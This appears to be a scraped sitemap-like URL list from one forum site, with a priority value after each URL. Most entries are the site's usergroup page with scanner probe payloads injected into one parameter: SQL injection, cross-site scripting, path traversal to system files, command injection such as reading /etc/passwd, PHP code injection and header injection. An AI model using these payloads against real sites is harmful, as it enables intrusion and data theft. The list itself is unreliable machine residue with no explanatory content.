http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=204 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=206 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=207 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=208 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=209 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=215 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=216 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=217 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=218 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=219 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=220 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=224 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=share&type=thread&id=25 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%3Cdir 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=');print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=(SELECT%20(CASE%20WHEN%20(72=95)%20THEN%200x6C697374%20ELSE%2072*(SELECT%2072%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=................windowswin.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=;print(md5(1122));%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=C:%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=dir 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=file:///c:/boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list 0.0018 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%00' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25%27%29%20AND%2026%3D26%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25%27%29%20AND%2031%3D41%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%2063=63%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%2088=75%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%20'list'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=74)%20THEN%20'list'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%2527 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%2527%20AND%2058=58%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%2527%20AND%2071=99%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%5B%5D 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%5C%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%5C' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list%bf%27 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list' 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%20'Gb'='7x 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%20'bQ'='bQ 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20OR%20'iu'='iu'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20'list'%20ELSE%200x28%20END))%20AND%20'6M'='6M 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(85=43)%20THEN%20'list'%20ELSE%200x28%20END))%20AND%20't8'='t8 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%2034=34%20AND%20('aT'='aT 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%2079=16%20AND%20('Z3'='Z3 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=61)%20THEN%20'list'%20ELSE%200x28%20END))%20AND%20('mO'='mO 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%20'list'%20ELSE%200x28%20END))%20AND%20('dQ'='dQ 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list';%20IF(33=49)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list';%20IF(94=94)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 